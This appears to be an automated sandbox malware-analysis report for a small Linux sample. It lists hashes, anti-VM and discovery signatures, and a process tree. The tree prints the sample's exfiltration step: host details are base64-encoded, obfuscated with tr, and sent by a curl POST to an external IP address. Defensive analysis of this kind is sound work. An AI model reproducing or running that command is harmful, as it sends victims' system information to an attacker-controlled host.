ef41df8741205ff5d766e09fede628b58071c6c93b418fac81eee139fef1a4a5

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/09/2026, 23:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ef41df8741205ff5d766e09fede628b58071c6c93b418fac81eee139fef1a4a5
Size 1KB
Sample260930-25wkjscc78
SHA256 ef41df8741205ff5d766e09fede628b58071c6c93b418fac81eee139fef1a4a5
MD5 9c11edd1f0ecac23bd242e7c352d6b69
SHA1 11a7841825bc93f41213f4366093a1131a6bfe99
SHA512 ce53cdcde2aab61b10766aecbdac84ae39b226501918b137cc44650be539d2a34b6060c5b1783e1d830bb2fbf8e8d61763827423503a8c5830a266dad0ac3e9a
TLSH
T1883173A874705C34A34786BE7F48825932C43BDB61243561B45F42D48B582B9855ABF0
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

/tmp/ef41df8741205ff5d766e09fede628b58071c6c93b418fac81eee139fef1a4a5
/tmp/ef41df8741205ff5d766e09fede628b58071c6c93b418fac81eee139fef1a4a5
1⤵
PID:644
- /usr/bin/tr
  tr "0123456789+/=" abcdefghijklm
  2⤵
  PID:657
- /usr/bin/base64
  base64 -w0
  2⤵
  PID:656
- /bin/hostname
  hostname
  2⤵
  PID:660
- /bin/date
  date
  2⤵
  PID:665
- /bin/hostname
  hostname
  2⤵
  PID:672
- /usr/bin/curl
  curl -s -m 10 -X POST --data-binary TEjPVFNVTSBobdNaPWRlYmlhbjktYXJtaGYtMjAyNjAbMTMtZWetMTUgZmjbbmQjMCBsbcjaZWQjMCBkYXRlPVRodSBPYdQgIDEgMDAgMTAgNDkgQlNUIDIwMjYK http://66.23.236.182:18090/r/lootsum_debian9-armhf-20260513-en-15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:674
- /bin/hostname
  hostname
  2⤵
  PID:682

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads